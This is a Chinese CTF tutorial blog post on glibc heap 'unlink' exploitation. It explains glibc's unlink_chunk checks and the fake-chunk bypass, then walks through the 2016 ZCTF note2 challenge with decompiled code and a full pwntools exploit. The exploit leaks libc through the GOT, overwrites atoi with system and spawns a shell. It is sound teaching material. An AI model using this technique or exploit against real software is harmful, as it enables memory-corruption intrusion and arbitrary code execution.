unlink函数_堆利用之 unlink

52525a6183f6f48de798435d463075ea.png

1 知识补充

什么是unlink

unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来。

哪里用到unlink

unlink()常用于free()中进行 chunk 的整理,可以对空闲 chunk 进行前向合并和后向合并。

当被free()的 chunk 的 P 位为 0 时,说明被free()的 chunk 的前一个 chunk 为空,于是对前一个 chunk 进行 unlink 操作,将前一个 chunk 与被free()的 chunk 进行后向合并。后向合并的操作首先将两个 chunk 的大小相加,然后对前一个 chunk 进行 unlink。

/* Size of the chunk below P.  Only valid if !prev_inuse (P).  */
#define prev_size(p) ((p)->mchunk_prev_size)
/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->mchunk_size & PREV_INUSE)
/* consolidate backward */
if (!prev_inuse(p)) {
  prevsize = prev_size (p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  if (__glibc_unlikely (chunksize(p) != prevsize))
    malloc_printerr ("corrupted size vs. prev_size while consolidating");
  unlink_chunk (av, p);
}

如果被free()的 chunk 相邻的下一个 chunk 处于 inuse 状态,清除当前 chunk 的 inuse 状态,则当前 chunk 空闲了。否则,将相邻的下一个空闲 chunk 从空闲链表中删除,并计算当前 chunk 与下一个 chunk 合并后的 chunk 大小。

/* true if nextchunk is used */
int nextinuse;
/* consolidate forward */
if (!nextinuse) {
  unlink_chunk (av, nextchunk);
  size += nextsize;
} else
  clear_inuse_bit_at_offset(nextchunk, 0);

unlink是怎么实现的

为什么我在 malloc.c 里找到的 unlink 是个函数,别人的 unlink 是个宏啊...

我们先看一下他的源代码:

/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");
  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
          || p->bk_nextsize->fd_nextsize != p)
        malloc_printerr ("corrupted double-linked list (not small)");
      if (fd->fd_nextsize == NULL)
        {
          if (p->fd_nextsize == p)
            fd->fd_nextsize = fd->bk_nextsize = fd;
          else
            {
              fd->fd_nextsize = p->fd_nextsize;
              fd->bk_nextsize = p->bk_nextsize;
              p->fd_nextsize->bk_nextsize = fd;
              p->bk_nextsize->fd_nextsize = fd;
            }
        }
      else
        {
          p->fd_nextsize->bk_nextsize = p->bk_nextsize;
          p->bk_nextsize->fd_nextsize = p->fd_nextsize;
        }
    }
}

可以看到unlink()函数首先检查当前 chunk 的 size 和下一个 chunk 的 prev_size 是否相等。

if (chunksize (p) != prev_size (next_chunk (p)))
  malloc_printerr ("corrupted size vs. prev_size");

然后定义fd为前一个 chunk 的指针,bk为后一个 chunk 的指针。为了方便区分,我把新的 fd 变成FD表示前一个 chunk,bk 变成BK表示后一个 chunk。

mchunkptr FD = p->fd;
mchunkptr BK = p->bk;

然后进行了最重要的检查:检查后一个 chunk 的 bk 和前一个 chunk 的 fd 是否指向当前 chunk

if (__builtin_expect (FD->bk != p || BK->fd != p, 0))
  malloc_printerr ("corrupted double-linked list");

接下来就是unlink操作了,将前一个 chunk 的 bk 指向后一个 chunk,后一个 chunk 的 fd 指向前一个 chunk。后面是其他检查了,可以看 ctf-wiki 的详解。

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink/

2 利用方法

我们怎么触发 unlink 呢?我们先假设伪造了一个 fake chunk 可以成功利用 unlink。这时我们可以通过溢出的方式将某个 chunk 的 prev_size 改写成这个 chunk 到 fake chunk 的距离,并将 size 的 P 位改成 0,然后对该 chunk 进行free(),就触发了后向合并,此时会对 fake chunk 进行 unlink。

我们如何利用 unlink 呢?我们伪造的 fake chunk 需要满足FD->bk == p && BK->fd == p,才能让FD->bk = BK;BK->fd = FD;。如果我们有一个指向 fake chunk 的指针的地址时好像就有办法了。我们先设指向 fake chunk 的指针为ptr,然后构造一个这样的 fake chunk:

fd = &ptr-0x18;
bk = &ptr-0x10;

此时的FD和BK:

FD == &ptr-0x18;
BK == &ptr-0x10;

在 unlink 执行检查时,发现满足条件,成功通过检查:

FD->bk == *(&ptr-0x18+0x18) == p;
BK->fd == *(&ptr-0x10+0x10) == p;

执行 unlink,最后ptr指向&ptr-0x18处的位置:

// FD->bk = BK
// *(&ptr-0x10+0x10) = &ptr-0x10;
ptr = &ptr-0x10;
// BK->fd = FD
// *(&ptr-0x10+0x10) = &ptr-0x18
ptr = &ptr-0x18

3 实战

2016 ZCTF note2

程序分析

可以看到程序有常见的4个操作。

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("Input your name:");
  readData(::a1, 64LL, 10);
  puts("Input your address:");
  readData(byte_602180, 96LL, 10);
  while ( 1 )
  {
    switch ( sub_400AFB() )
    {
      case 1:
        new();
        break;
      case 2:
        show();
        break;
      case 3:
        edit();
        break;
      case 4:
        delete();
        break;
      case 5:
        puts("Bye~");
        exit(0);
        return;
      case 6:
        exit(0);
        return;
      default:
        continue;
    }
  }
}

new(),只能分配3块内存,并且最大只能分配0x80大小的内存:

int new()
{
  char *mem; // ST08_8
  unsigned int v2; // eax
  unsigned int size; // [rsp+4h] [rbp-Ch]

  if ( (unsigned int)noteNumber > 3 )
    return puts("note lists are full");
  puts("Input the length of the note content:(less than 128)");
  size = readNum();
  if ( size > 0x80 )
    return puts("Too long");
  mem = (char *)malloc(size);
  puts("Input the note content:");
  readData(mem, size, 'n');
  deletePercent(mem);
  *(&ptr + (unsigned int)noteNumber) = mem;
  sizeArr[noteNumber] = size;
  v2 = noteNumber++;
  return printf("note add success, the id is %dn", v2);
}

正常的show(),可以用于泄漏信息

int show()
{
  __int64 num; // rax
  int choose; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  LODWORD(num) = readNum();
  choose = num;
  if ( (signed int)num >= 0 && (signed int)num <= 3 )
  {
    num = (__int64)*(&ptr + (signed int)num);
    if ( num )
      LODWORD(num) = printf("Content is %sn", *(&ptr + choose));
  }
  return num;
}

edit()函数,可以看到有两种方式进行编辑,可以看到程序先分配了一块 0xA0 大小的内存作为缓冲区,然后让用户决定使用哪种方式编辑。第一种是先在刚分配的缓冲区中存储输入,然后strcpy到原有堆中,第二种是进行一次strcpy保留原本数据后再进行输入和拼接。

unsigned __int64 edit()
{
  char *temp; // rax
  char *v1; // rbx
  int index; // [rsp+8h] [rbp-E8h]
  int choice; // [rsp+Ch] [rbp-E4h]
  char *data; // [rsp+10h] [rbp-E0h]
  __int64 noteSize; // [rsp+18h] [rbp-D8h]
  char buffer[128]; // [rsp+20h] [rbp-D0h]
  char *temp1; // [rsp+A0h] [rbp-50h]
  unsigned __int64 v9; // [rsp+D8h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  if ( noteNumber )
  {
    puts("Input the id of the note:");
    index = readNum();
    if ( index >= 0 && index <= 3 )
    {
      data = (char *)*(&ptr + index);
      noteSize = sizeArr[index];
      if ( data )
      {
        puts("do you want to overwrite or append?[1.overwrite/2.append]");
        choice = readNum();
        if ( choice == 1 || choice == 2 )
        {
          if ( choice == 1 )
            buffer[0] = 0;
          else
            strcpy(buffer, data);
          temp = (char *)malloc(0xA0uLL);
          temp1 = temp;
          *(_QWORD *)temp = 'oCweNehT';
          *((_QWORD *)temp + 1) = ':stnetn';
          printf(temp1);
          readData(temp1 + 15, 0x90LL, 10);
          deletePercent(temp1 + 15);
          v1 = temp1;
          v1[noteSize - strlen(buffer) + 14] = 0;
          strncat(buffer, temp1 + 15, 0xFFFFFFFFFFFFFFFFLL);
          strcpy(data, buffer);
          free(temp1);
          puts("Edit note success!");
        }
        else
        {
          puts("Error choice!");
        }
      }
      else
      {
        puts("note has been deleted");
      }
    }
  }
  else
  {
    puts("Please add a note!");
  }
  return __readfsqword(0x28u) ^ v9;
}

delete()函数,对数组进行了清空

int delete()
{
  __int64 v0; // rax
  int v2; // [rsp+Ch] [rbp-4h]

  puts("Input the id of the note:");
  LODWORD(v0) = readNum();
  v2 = v0;
  if ( (signed int)v0 >= 0 && (signed int)v0 <= 3 )
  {
    v0 = (__int64)*(&ptr + (signed int)v0);
    if ( v0 )
    {
      free(*(&ptr + v2));
      *(&ptr + v2) = 0LL;
      sizeArr[v2] = 0LL;
      LODWORD(v0) = puts("delete note success!");
    }
  }
  return v0;
}

重头戏:输入处理,乍看没有错,但是当size = 0size - 1 == -1对应的是 unsigned int 的最大值,此时就造成了不限长度输入了。于是就有了喜闻乐见的堆溢出。

unsigned __int64 __fastcall readData(char *buffer, __int64 size, char end)
{
  char ends; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t res; // [rsp+38h] [rbp-8h]

  ends = end;
  for ( i = 0LL; size - 1 > i; ++i )
  {
    res = read(0, &buf, 1uLL);
    if ( res <= 0 )
      exit(-1);
    if ( buf == ends )
      break;
    buffer[i] = buf;
  }
  buffer[i] = 0;
  return i;
}

漏洞利用

从程序分析中可以知道有一个溢出点,我们可以通过这个溢出往下一个 chunk 的 fd 和 bk 写入特定内容来利用 unlink。

先实现脚手架:

from pwn import *

r = process('./note2')
elf = ELF('note2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
#gdb.attach(r, gdbscript='b *0x00400DA2ncn')
#context(log_level="DEBUG", arch="amd64", os="linux")


def new(size, content):
    r.sendlineafter('option--->>', '1')
    r.sendlineafter('(less than 128)', str(size))
    r.sendlineafter('Input the note content:', content)


def show(index):
    r.sendlineafter('option--->>', '2')
    r.sendlineafter('Input the id of the note:', str(index))
    r.recvuntil('Content is ')
    content = r.recvuntil('n', drop=True)
    return content


def edit(index, oper, content):
    '''
    oper = 1: overwrite
    oper = 2: append
    '''
    r.sendlineafter('option--->>', '3')
    r.sendlineafter('Input the id of the note:', str(index))
    r.sendlineafter('[1.overwrite/2.append]', str(oper))
    r.sendlineafter('TheNewContents:', content)


def delete(index):
    r.sendlineafter('option--->>', '4')
    r.sendlineafter('Input the id of the note:', str(index))


def start():
    r.sendlineafter('Input your name:', '233')
    r.sendlineafter('Input your address:', '666')

然后是构造 fake chunk,并利用 unlink。已知存储分配的 note 的指针为 0x602120,用上面讲的方法以fd = 0x602120 - 0x18; bk = 0x602120 - 0x10构造 fake chunk。然后再分配一个大小为 0 的 note,然而 glibc 实际分配 chunk 大小为 0x20,这个分配用来占位。最后分配一个 0x80 的 chunk。接下来通过溢出修改第三次分配的 chunk 的 prev_size 和 size 来触发 unlink 操作,首先我们需要计算 prev_size 的大小,可以知道第一次分配的 chunk 的 data 段 大小为 0x80,第二次分配的 chunk 大小为 0x20,为了使第三次分配的 chunk 的 prev_size 指向 fake chunk,我们要将第三次分配的 chunk 的 prev_size 改成 0x20+0x80,并且记得将 size 的 P 位变成 0。最后通过delete(2)来触发 对 fake chunk 的 unlink。

print('prepare to unlink')
target = 0x602120
fd = target - 0x18
bk = target - 0x10
# fake prev_size, size
fakeChunk = p64(0x0) + p64(0xA0)
# fake fd, bk
fakeChunk += p64(fd) + p64(bk)
# padding
fakeChunk += 'a' * 0x60
# biggest size edit() can edit = 0x80
new(0x80, fakeChunk)
# take place
new(0, 'B' * 8)
new(0x80, 'C' * 8)
delete(1)

print('unlinking')
# overflow
unlink = 'a' * 0x10
# chunk1's size = 0x20, chunk0 data's size = 0x80
# so, mod prev_size = 0xA0, size = 0x90
unlink += p64(0xA0) + p64(0x90)
new(0, unlink)
delete(2)

经过上面的 unlink 后,0x602120 指向了 0x602120-0x18,这时候我们只需要编辑 id 为 0 的 note 就可以改变 0x602120-0x18 及其之后的内容,我们可以将0x602120改成 atoi()的 got表 地址,然后通过show(0)来泄露信息。

print("now target[0]'s content is '&target-0x18'")
print('start leaking libc address')
leakLibc = 'A' * 0x18 + p64(elf.got['atoi'])
edit(0, 1, leakLibc)
leakStr = show(0)
atoiAddr = u64(leakStr.ljust(8, 'x00'))
libcBaseAddr = atoiAddr - libc.symbols['atoi']
systemAddr = libcBaseAddr + libc.symbols['system']
print('libc base address: %x' % libcBaseAddr)
print('system address: %x' % systemAddr)

由于之前已经把0x602120指向的内容变成了atoi()的 got表地址,所以直接编辑 id 为 0 的 note 就可以 get shell。

print("now moddding atoi's got table")
edit(0, 1, p64(systemAddr))
r.sendline('/bin/sh')
r.interactive()

最终exp

from pwn import *

r = process('./note2')
elf = ELF('note2')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
#gdb.attach(r, gdbscript='b *0x00400DA2ncn')
#context(log_level="DEBUG", arch="amd64", os="linux")


def new(size, content):
    r.sendlineafter('option--->>', '1')
    r.sendlineafter('(less than 128)', str(size))
    r.sendlineafter('Input the note content:', content)


def show(index):
    r.sendlineafter('option--->>', '2')
    r.sendlineafter('Input the id of the note:', str(index))
    r.recvuntil('Content is ')
    content = r.recvuntil('n', drop=True)
    return content


def edit(index, oper, content):
    '''
    oper = 1: overwrite
    oper = 2: append
    '''
    r.sendlineafter('option--->>', '3')
    r.sendlineafter('Input the id of the note:', str(index))
    r.sendlineafter('[1.overwrite/2.append]', str(oper))
    r.sendlineafter('TheNewContents:', content)


def delete(index):
    r.sendlineafter('option--->>', '4')
    r.sendlineafter('Input the id of the note:', str(index))


def start():
    r.sendlineafter('Input your name:', '233')
    r.sendlineafter('Input your address:', '666')


if __name__ == "__main__":
    start()

    print('prepare to unlink')
    target = 0x602120
    fd = target - 0x18
    bk = target - 0x10
    # fake presize, size
    fakeChunk = p64(0x0) + p64(0xA0)
    # fake fd, bk
    fakeChunk += p64(fd) + p64(bk)
    # padding
    fakeChunk += 'a' * 0x60
    # biggest size edit() can edit = 0x80
    new(0x80, fakeChunk)
    # take place
    new(0, 'B' * 8)
    new(0x80, 'C' * 8)
    delete(1)

    print('unlinking')
    # overflow
    unlink = 'a' * 0x10
    # chunk1's size = 0x20, chunk0 data's size = 0x80
    # 0x20 + 0x80 = 0xA0
    # so, mod prev_size = 0xA0, size = 0x90
    unlink += p64(0xA0) + p64(0x90)
    new(0, unlink)
    delete(2)

    print("now target[0]'s content is '&target-0x18'")
    print('start leaking libc address')
    leakLibc = 'A' * 0x18 + p64(elf.got['atoi'])
    edit(0, 1, leakLibc)
    leakStr = show(0)
    atoiAddr = u64(leakStr.ljust(8, 'x00'))
    libcBaseAddr = atoiAddr - libc.symbols['atoi']
    systemAddr = libcBaseAddr + libc.symbols['system']
    print('libc base address: %x' % libcBaseAddr)
    print('system address: %x' % systemAddr)

    print("now moddding atoi's got table")
    edit(0, 1, p64(systemAddr))
    r.sendline('/bin/sh')
    r.interactive()

4 总结

我就想为什么看不懂大佬们写的unlink介绍,原来是因为很多关于unlink的介绍都少了怎么触发unlink...

refs:

https://blog.csdn.net/xiaoi123/article/details/82998091

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink/

http://tacxingxing.com/2017/08/16/unlink

https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#unlink_chunk

https://mqzhuang.iteye.com/blog/1064963

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值